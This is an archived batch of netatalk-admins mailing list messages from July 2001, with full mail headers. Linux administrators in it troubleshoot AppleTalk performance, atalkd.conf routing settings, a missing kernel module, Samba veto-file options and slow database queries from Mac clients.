> But that's fatal in this setup. If you want to route between the two NICs,
> they have to be connected to _different_ network segments!

I could separate them, but the mac's would still have to access TCP/IP to
the outside world. Could I route the packets from eth1 (Mac-network) to
the actual gateway that is connected to eth0? I'm not an experienced
sysadmin, therefore I would appreciate detailed instructions. We have
public ip-addresses, so there's no need for NAT, just routing the packets.


From netatalk.administrators-errors@umich.edu  Fri Jul 20 09:33:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA12165
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 20 Jul 2001 09:33:19 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id JAA20149
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 20 Jul 2001 09:33:19 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA20132
	for netatalk.administrators-members@umich.edu; Fri, 20 Jul 2001 09:33:19 -0400 (EDT)
Received: from platon.sgic.fi (platon.sgic.fi [213.173.130.65])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA19958
	for <netatalk-admins@umich.edu>; Fri, 20 Jul 2001 09:33:12 -0400 (EDT)
Received: from localhost (blob@localhost)
	by platon.sgic.fi (8.8.8/8.8.8) with ESMTP id QAA01216;
	Fri, 20 Jul 2001 16:32:56 +0300 (EET DST)
Date: Fri, 20 Jul 2001 16:32:56 +0300 (EET DST)
From: Lasse Lehtinen <blob@sgic.fi>
Reply-To: Lasse Lehtinen <lasse.lehtinen@iki.fi>
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
cc: netatalk-admins@umich.edu
Subject: Re: Poor netatalk performance
In-Reply-To: <B77DD2D1.EBA3%Thomas.Kaiser@phg-online.de>
Message-ID: <Pine.OSF.4.21.0107201630570.20790-100000@Platon.sgic.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Fri, 20 Jul 2001, Thomas Kaiser wrote:

> Hi Lasse,
> 
> >> But that's fatal in this setup. If you want to route between the two NICs,
> >> they have to be connected to _different_ network segments!

Is there another way around? I don't need zones and I kinda have to put
the both NIC's in the same segment. Is there a possibility to use just one
NIC or something? I don't need routing or anything else.


From netatalk.administrators-errors@umich.edu  Fri Jul 20 09:50:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA12585
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 20 Jul 2001 09:50:04 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id JAA16134
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 20 Jul 2001 09:50:04 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA16112
	for netatalk.administrators-members@umich.edu; Fri, 20 Jul 2001 09:50:04 -0400 (EDT)
Received: from users.phg-online.de (users.phg-online.de [195.238.236.6])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA15942
	for <netatalk-admins@umich.edu>; Fri, 20 Jul 2001 09:49:56 -0400 (EDT)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id QAA09408;
	Fri, 20 Jul 2001 16:04:12 +0200
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Fri, 20 Jul 2001 15:50:42 +0200
Subject: Re: Poor netatalk performance
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Lasse Lehtinen <lasse.lehtinen@iki.fi>, Lasse Lehtinen <blob@sgic.fi>
CC: <netatalk-admins@umich.edu>
Message-ID: <B77E03D1.EBEB%Thomas.Kaiser@phg-online.de>
In-Reply-To: <Pine.OSF.4.21.0107201630570.20790-100000@Platon.sgic.fi>
Mime-version: 1.0
Content-type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id JAA12585

Hi,

>>>> But that's fatal in this setup. If you want to route between the two NICs,
>>>> they have to be connected to _different_ network segments!
> 
> Is there another way around? I don't need zones and I kinda have to put
> the both NIC's in the same segment. Is there a possibility to use just one
> NIC or something? I don't need routing or anything else.

Then I would suggest to disable AppleTalk on one NIC completely. Try

eth1 -phase 2

If the performance problems reappear then something is wrong with the way
your NIC can handle AppleTalk. In this case try:

eth1 -router -seed -phase 2 -net 1-1000 -addr 1000.142 -zone "*"

(or use another NIC, e.g. Asanté FriendlyNet with tulip driver)

Netatalk will then act as a router on one single interface (but I don't know
whether this will work with 1.5pre6 either. With earlier versions it did).

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Fri Jul 20 09:51:07 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA12613
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 20 Jul 2001 09:51:07 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id JAA11437
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 20 Jul 2001 09:50:54 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA11424
	for netatalk.administrators-members@umich.edu; Fri, 20 Jul 2001 09:50:53 -0400 (EDT)
Received: from netcabo.pt (mail1.netcabo.pt [212.113.161.135])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA10617
	for <netatalk-admins@umich.edu>; Fri, 20 Jul 2001 09:50:22 -0400 (EDT)
Received: from gauss ([213.22.56.5]) by netcabo.pt  with Microsoft SMTPSVC(5.5.1877.687.68);
	 Fri, 20 Jul 2001 14:44:25 +0100
Content-Type: text/plain;
  charset="iso-8859-1"
From: Pedro Corte-Real <typo@netcabo.pt>
Reply-To: typo@netcabo.pt
To: netatalk-admins@umich.edu
Subject: Re: Poor netatalk performance
Date: Fri, 20 Jul 2001 14:50:57 +0100
X-Mailer: KMail [version 1.2]
References: <Pine.OSF.4.21.0107201630570.20790-100000@Platon.sgic.fi>
In-Reply-To: <Pine.OSF.4.21.0107201630570.20790-100000@Platon.sgic.fi>
MIME-Version: 1.0
Message-Id: <01072014505700.17279@gauss>
Content-Transfer-Encoding: 8bit

On Friday 20 July 2001 14:32, Lasse Lehtinen wrote:
> On Fri, 20 Jul 2001, Thomas Kaiser wrote:
> > Hi Lasse,
> >
> > >> But that's fatal in this setup. If you want to route between the two
> > >> NICs, they have to be connected to _different_ network segments!
>
> Is there another way around? I don't need zones and I kinda have to put
> the both NIC's in the same segment. Is there a possibility to use just one
> NIC or something? I don't need routing or anything else.


I know nothing compared to you guys but I think all this guy needs is a line 
like:

eth0

on his atalkd.conf. That line will make netatalk ignore the eth1 interface 
and work with the eth0 only.


Sorry if I'm talking nonsense.

From netatalk.administrators-errors@umich.edu  Fri Jul 20 10:04:38 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA12856
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 20 Jul 2001 10:04:37 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id KAA12977
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 20 Jul 2001 10:04:37 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA12965
	for netatalk.administrators-members@umich.edu; Fri, 20 Jul 2001 10:04:37 -0400 (EDT)
Received: from texlog2.texas.rr.com (texlog2.texas.rr.com [24.93.35.223])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA12939
	for <netatalk-admins@umich.edu>; Fri, 20 Jul 2001 10:04:36 -0400 (EDT)
Received: from [10.1.0.4] (cs276-198.austin.rr.com [24.27.6.198])
	by texlog2.texas.rr.com (8.12.0.Beta5/8.12.0.Beta5) with ESMTP id f6KE4PdQ000794
	for <netatalk-admins@umich.edu>; Fri, 20 Jul 2001 09:04:26 -0500 (CDT)
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Fri, 20 Jul 2001 09:04:37 -0500
Subject: Re: Poor netatalk performance
From: JollyRoger <jollyroger@boxpo.com>
To: Netatalk Admins <netatalk-admins@umich.edu>
Message-ID: <B77DA4A5.1715%jollyroger@boxpo.com>
In-Reply-To: <B77CB275.EB01%Thomas.Kaiser@phg-online.de>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On 7/19/2001 8:51 AM, "Thomas Kaiser" <Thomas.Kaiser@phg-online.de> wrote:

> eth0 -seed -phase 2 -net 1-1000 -addr 1000.142 -zone "eth0"
> eth1 -seed -phase 2 -net 1001-2000 -addr 2000.142 -zone "eth1"
> 
> If you want to use appletalk only on one NIC you have to supply _one_ entry
> without the '-seed' switch, eg. "eth0 -phase 2". This NIC will then be
> autoconfigured (might be a problem with your 3Coms if they are not multicast
> capable -- I don't know)

Hmmm, just for grins I tried this.  Changed my atalkd.conf file from an
empty file to this:

eth0 -phase 2 -zone "FTP Server"

Now I get these startup errors:

Jul 20 09:01:12 obscurity afpd[27250]: shutting down on signal 15
Jul 20 09:01:12 obscurity PAM_pwdb[27283]: (netatalk) session closed for
user test
Jul 20 09:01:12 obscurity afpd[27283]: 69.38KB read, 843.68KB written
Jul 20 09:01:12 obscurity atalk: afpd shutdown succeeded
Jul 20 09:01:12 obscurity modprobe: modprobe: Can't locate module net-pf-5
Jul 20 09:01:12 obscurity modprobe: modprobe: Can't locate module net-pf-5
Jul 20 09:01:12 obscurity atalkd: socket: Address family not supported by
protocol
Jul 20 09:01:12 obscurity atalkd: socket: Address family not supported by
protocol
Jul 20 09:01:12 obscurity atalkd: atalkd: can't get interfaces, exiting.
Jul 20 09:01:12 obscurity atalk: atalkd startup failed
Jul 20 09:01:12 obscurity modprobe: modprobe: Can't locate module net-pf-5
Jul 20 09:01:12 obscurity modprobe: modprobe: Can't locate module net-pf-5
Jul 20 09:01:12 obscurity papd[27475]: restart (1.4b2+asun2.1.4)
Jul 20 09:01:12 obscurity papd[27475]: No such printer: lp
Jul 20 09:01:12 obscurity papd[27475]: printcap problem: lp
Jul 20 09:01:12 obscurity modprobe: modprobe: Can't locate module net-pf-5
Jul 20 09:01:12 obscurity atalk: papd startup succeeded
Jul 20 09:01:12 obscurity modprobe: modprobe: Can't locate module net-pf-5
Jul 20 09:01:12 obscurity atalk: afpd startup succeeded
Jul 20 09:01:12 obscurity afpd[27485]: main: atp_open: Address family not
supported by protocol
Jul 20 09:01:12 obscurity afpd[27485]: ASIP started on 10.1.0.3:548(1)
(1.4b2+asun2.1.4)
Jul 20 09:01:12 obscurity afpd[27485]: uam: uams_clrtxt.so loaded
Jul 20 09:01:12 obscurity afpd[27485]: uam: "Cleartxt Passwrd" available
Jul 20 09:01:12 obscurity papd[27475]: atp_open: Address family not
supported by protocol

Can anyone tell me what I'm doing wrong here?


From netatalk.administrators-errors@umich.edu  Fri Jul 20 10:36:04 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA13801
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 20 Jul 2001 10:36:04 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id KAA16105
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 20 Jul 2001 10:36:04 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA16077
	for netatalk.administrators-members@umich.edu; Fri, 20 Jul 2001 10:36:03 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA15964
	for <netatalk-admins@umich.edu>; Fri, 20 Jul 2001 10:35:58 -0400 (EDT)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id QAA12945;
	Fri, 20 Jul 2001 16:34:02 +0200
Message-ID: <3B58415C.E6FDB8FC@euc.de>
Date: Fri, 20 Jul 2001 16:33:59 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: typo@netcabo.pt
CC: netatalk-admins@umich.edu
Subject: Re: Poor netatalk performance
References: <Pine.OSF.4.21.0107201630570.20790-100000@Platon.sgic.fi> <01072014505700.17279@gauss>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id KAA13801

This is correct - if seed is not in the line routing for netatalk is disabled

Pedro Corte-Real wrote:
> 
> On Friday 20 July 2001 14:32, Lasse Lehtinen wrote:
> > On Fri, 20 Jul 2001, Thomas Kaiser wrote:
> > > Hi Lasse,
> > >
> > > >> But that's fatal in this setup. If you want to route between the two
> > > >> NICs, they have to be connected to _different_ network segments!
> >
> > Is there another way around? I don't need zones and I kinda have to put
> > the both NIC's in the same segment. Is there a possibility to use just one
> > NIC or something? I don't need routing or anything else.
> 
> I know nothing compared to you guys but I think all this guy needs is a line
> like:
> 
> eth0
> 
> on his atalkd.conf. That line will make netatalk ignore the eth1 interface
> and work with the eth0 only.
> 
> Sorry if I'm talking nonsense.

-- 
--schnippe-di-schnipp-- 

mit freundlichen grüssen

-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
Geschäftsführer                  Taubengasse 9
mconin@euc.de                    D 50676 Koeln
http://www.euc.de                HRB Köln 32038
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------

From netatalk.administrators-errors@umich.edu  Fri Jul 20 12:34:40 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA17623
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 20 Jul 2001 12:34:39 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id MAA20375
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 20 Jul 2001 12:34:26 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA20358
	for netatalk.administrators-members@umich.edu; Fri, 20 Jul 2001 12:34:25 -0400 (EDT)
Received: from platon.sgic.fi (platon.sgic.fi [213.173.130.65])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA20293
	for <netatalk-admins@umich.edu>; Fri, 20 Jul 2001 12:34:23 -0400 (EDT)
Received: from localhost (blob@localhost)
	by platon.sgic.fi (8.8.8/8.8.8) with ESMTP id TAA18566;
	Fri, 20 Jul 2001 19:33:57 +0300 (EET DST)
Date: Fri, 20 Jul 2001 19:33:56 +0300 (EET DST)
From: Lasse Lehtinen <blob@sgic.fi>
Reply-To: Lasse Lehtinen <lasse.lehtinen@iki.fi>
To: JollyRoger <jollyroger@boxpo.com>
cc: Netatalk Admins <netatalk-admins@umich.edu>
Subject: Re: Poor netatalk performance
In-Reply-To: <B77DA4A5.1715%jollyroger@boxpo.com>
Message-ID: <Pine.OSF.4.21.0107201920070.7821-100000@Platon.sgic.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Fri, 20 Jul 2001, JollyRoger wrote:

> Jul 20 09:01:12 obscurity modprobe: modprobe: Can't locate module net-pf-5
> Jul 20 09:01:12 obscurity modprobe: modprobe: Can't locate module net-pf-5

You're running AppleTalk as a module? I've compiled AppleTalk to the
kernel, but i've seen similar problems in the SourceForge Netatalk
forums. Add the following line in your /etc/modules

alias appletalk net-pf-5

After that, you probably must reinstall the module with rmmod appletalk
and modprobe appletalk. Check more info at:

http://sourceforge.net/tracker/index.php?func=detail&aid=306614&group_id=8642&atid=208642


From netatalk.administrators-errors@umich.edu  Fri Jul 20 14:15:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA20681
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 20 Jul 2001 14:15:01 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id OAA20964
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 20 Jul 2001 14:14:47 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA20951
	for netatalk.administrators-members@umich.edu; Fri, 20 Jul 2001 14:14:47 -0400 (EDT)
Received: from geulph.frogspace.net (geulph.frogspace.net [64.6.226.2])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA20914
	for <netatalk-admins@umich.edu>; Fri, 20 Jul 2001 14:14:45 -0400 (EDT)
Received: from [64.171.178.114] (helo=pixelpi.org)
	by geulph.frogspace.net with esmtp (Exim 3.02 #1)
	id 15NelX-0003py-00
	for netatalk-admins@umich.edu; Fri, 20 Jul 2001 11:12:43 -0700
Sender: jharris@funinacapulco.mr.itd.umich.edu
Message-ID: <3B5875B9.6F218A4C@pixelpi.org>
Date: Fri, 20 Jul 2001 11:17:29 -0700
From: Soy hombre del palo <batman@pixelpi.org>
X-Mailer: Mozilla 4.73 [en] (X11; I; Linux 2.2.16 i586)
X-Accept-Language: en
MIME-Version: 1.0
To: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: Network Trash Folder
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Here's my setup:
All mac users a part of adart group, all sharing /AppleShare.
Permissions are for full group read/write, guests can read only.

Is there a setting for restricting/cancelling the creation of "Network
Trash Folder" (or a file name with spaces)? Specifically, since it is a
folder with spaces in it, it causes problems with my backup scripts. I
wouldn't mind some other folder taking the place of "Network Trash
Folder," but the spaces are problematic.

From netatalk.administrators-errors@umich.edu  Fri Jul 20 14:16:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA20894
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 20 Jul 2001 14:16:58 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id OAA23908
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 20 Jul 2001 14:16:58 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA23899
	for netatalk.administrators-members@umich.edu; Fri, 20 Jul 2001 14:16:58 -0400 (EDT)
Received: from platon.sgic.fi (platon.sgic.fi [213.173.130.65])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA23852
	for <netatalk-admins@umich.edu>; Fri, 20 Jul 2001 14:16:55 -0400 (EDT)
Received: from localhost (blob@localhost)
	by platon.sgic.fi (8.8.8/8.8.8) with ESMTP id VAA06737;
	Fri, 20 Jul 2001 21:16:51 +0300 (EET DST)
Date: Fri, 20 Jul 2001 21:16:51 +0300 (EET DST)
From: Lasse Lehtinen <blob@sgic.fi>
Reply-To: Lasse Lehtinen <lasse.lehtinen@iki.fi>
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
cc: netatalk-admins@umich.edu
Subject: Re: Poor netatalk performance
In-Reply-To: <B77E03D1.EBEB%Thomas.Kaiser@phg-online.de>
Message-ID: <Pine.OSF.4.21.0107202113200.17033-100000@Platon.sgic.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Fri, 20 Jul 2001, Thomas Kaiser wrote:

> Then I would suggest to disable AppleTalk on one NIC completely. Try
> 
> eth1 -phase 2

Jul 20 21:10:48 ssc atalkd[1218]: config for no router
Jul 20 21:10:49 ssc atalkd[1218]: ready 0/0/0
Jul 20 21:10:49 ssc atalk: atalkd startup succeeded
Jul 20 21:11:01 ssc atalk: afpd startup succeeded
Jul 20 21:11:07 ssc afpd[1243]: Pingviini:AFPServer@* started on 
65280.166:128 (1.5pre6)

Tested this configuration on my own Linux box, I have no idea how it
behaves. But the first line caught my attention. Does it mean that there's
no router on the network but the server will still bring up in Chooser if
clients have no zone selected? That would be exactly what I wanted.


From netatalk.administrators-errors@umich.edu  Fri Jul 20 14:26:45 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA21479
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 20 Jul 2001 14:26:45 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id OAA05604
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 20 Jul 2001 14:26:45 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA05589
	for netatalk.administrators-members@umich.edu; Fri, 20 Jul 2001 14:26:44 -0400 (EDT)
Received: from platon.sgic.fi (platon.sgic.fi [213.173.130.65])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA05549
	for <netatalk-admins@umich.edu>; Fri, 20 Jul 2001 14:26:42 -0400 (EDT)
Received: from localhost (blob@localhost)
	by platon.sgic.fi (8.8.8/8.8.8) with ESMTP id VAA03925;
	Fri, 20 Jul 2001 21:26:07 +0300 (EET DST)
Date: Fri, 20 Jul 2001 21:26:07 +0300 (EET DST)
From: Lasse Lehtinen <blob@sgic.fi>
Reply-To: Lasse Lehtinen <lasse.lehtinen@iki.fi>
To: Soy hombre del palo <batman@pixelpi.org>
cc: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: Re: Network Trash Folder
In-Reply-To: <3B5875B9.6F218A4C@pixelpi.org>
Message-ID: <Pine.OSF.4.21.0107202120250.14115-100000@Platon.sgic.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Fri, 20 Jul 2001, Soy hombre del palo wrote:

> Is there a setting for restricting/cancelling the creation of "Network
> Trash Folder" (or a file name with spaces)? Specifically, since it is a
> folder with spaces in it, it causes problems with my backup scripts.

We share the same Mac-volumes with samba to Windoze-clients, because they
must have access to the same files. First we we're getting .AppleDouble
dirs everywhere, until I noticed that there's a nifty option in Samba to
delete these files. If you're not running samba, you could always write a
script that searches all sub dirs and deletes those folders before
backup. But in samba, add following parameters:

delete veto files = Yes

veto files = /.AppleDouble/.AppleDesktop/Network Trash Folder/
DesktopFolderDB/resource.frk/ICON/Icon/TheVolumeSettingsFolder/ 

I don't exactly what mac's think about deleting these files, but it works
for us.


From netatalk.administrators-errors@umich.edu  Fri Jul 20 16:41:32 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA26816
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 20 Jul 2001 16:41:32 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id QAA24850
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 20 Jul 2001 16:41:32 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA24835
	for netatalk.administrators-members@umich.edu; Fri, 20 Jul 2001 16:41:31 -0400 (EDT)
Received: from max.hkust.se (max.hkust.se [194.18.100.146])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA24789
	for <netatalk-admins@umich.edu>; Fri, 20 Jul 2001 16:41:30 -0400 (EDT)
Received: from hkust.se (as4-4-7.dp.m.bonet.se [194.237.47.33])
	(authenticated)
	by max.hkust.se (8.11.4/8.11.4) with ESMTP id f6KKgVf19556;
	Fri, 20 Jul 2001 22:42:31 +0200
Message-ID: <3B589778.B187BE74@hkust.se>
Date: Fri, 20 Jul 2001 22:41:28 +0200
From: Magnus Stenman <stone@hkust.se>
X-Mailer: Mozilla 4.77 [en] (Windows NT 5.0; U)
X-Accept-Language: en, sv
MIME-Version: 1.0
To: Soy hombre del palo <batman@pixelpi.org>
CC: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: Re: Network Trash Folder
References: <3B5875B9.6F218A4C@pixelpi.org>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hey -- you got Mac users...
You *will* get filenames with spaces in them.... :-)

IIRC, the Macs probably will create more folders with
spaces in them, e.g. the "Find by contents folder" or similar.

Probably a better idea to fix your backup scripts.


/magnus

Soy hombre del palo wrote:
> 
> Here's my setup:
> All mac users a part of adart group, all sharing /AppleShare.
> Permissions are for full group read/write, guests can read only.
> 
> Is there a setting for restricting/cancelling the creation of "Network
> Trash Folder" (or a file name with spaces)? Specifically, since it is a
> folder with spaces in it, it causes problems with my backup scripts. I
> wouldn't mind some other folder taking the place of "Network Trash
> Folder," but the spaces are problematic.

From netatalk.administrators-errors@umich.edu  Fri Jul 20 17:53:57 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA29894
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 20 Jul 2001 17:53:57 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id RAA12388
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 20 Jul 2001 17:53:43 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA12375
	for netatalk.administrators-members@umich.edu; Fri, 20 Jul 2001 17:53:42 -0400 (EDT)
Received: from pathfinder (genisis.pwgroup.ca [142.165.62.112])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id RAA12329
	for <netatalk-admins@umich.edu>; Fri, 20 Jul 2001 17:53:40 -0400 (EDT)
Received: from SMTP agent by mail gateway 
 Fri, 20 Jul 2001 16:08:55 -0600
Received: from cossette.dante.ca (192.168.10.1)
          by pathfinder with MERCUR-SMTP/POP3/IMAP4-Server (v3.30.09 AS-0098315)
          for <netatalk-admins@umich.edu>; Fri, 20 Jul 2001  16:13:29 -0600
Received: from SMTP agent by mail gateway 
 Fri, 20 Jul 2001 16:08:53 -0600
Received: from printwest.com (localhost [127.0.0.1])
	by cossette.dante.ca (Postfix) with ESMTP
	id 2576F796E; Fri, 20 Jul 2001 15:44:20 -0600 (CST)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
To: netatalk-admins <netatalk-admins@umich.edu>, LINUX-ATALK@netspace.org
Subject: OT - Mac network diagnostics?
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Fri, 20 Jul 2001 15:44:19 -0600
From: Lance Levsen <l.levsen@printwest.com>
Message-Id: <20010720214420.2576F796E@cossette.dante.ca>


Apologies for the off-topic, but one of our RB developers is 
having a b*tch of a time getting good performance on an internal 
application.

The scenario is:
100baseT network,
Linux PostgreSQL database
Mac RealBasic application connects to the database

Small queries happen fast, Large Macintosh LAN queries take 
forever, 6-13 seconds. W2K and an Ultra Sparc clients get 
returns of .08 seconds w/ the same query.

The strange thing is that the same query from a remote Mac 
client via Internet takes about 1.5 sec.

I've proved (four times now) that it isn't the network hardware, 
firewall or cabling that is causing the delay.

What I'd like to do is take the diagnostics to the next step . . 
. the iMac. Is there any tool for the Mac that sits in 
front/beside/or behind Open Transport that will allow me to 
track Ethernet packets on the Mac?

-- 
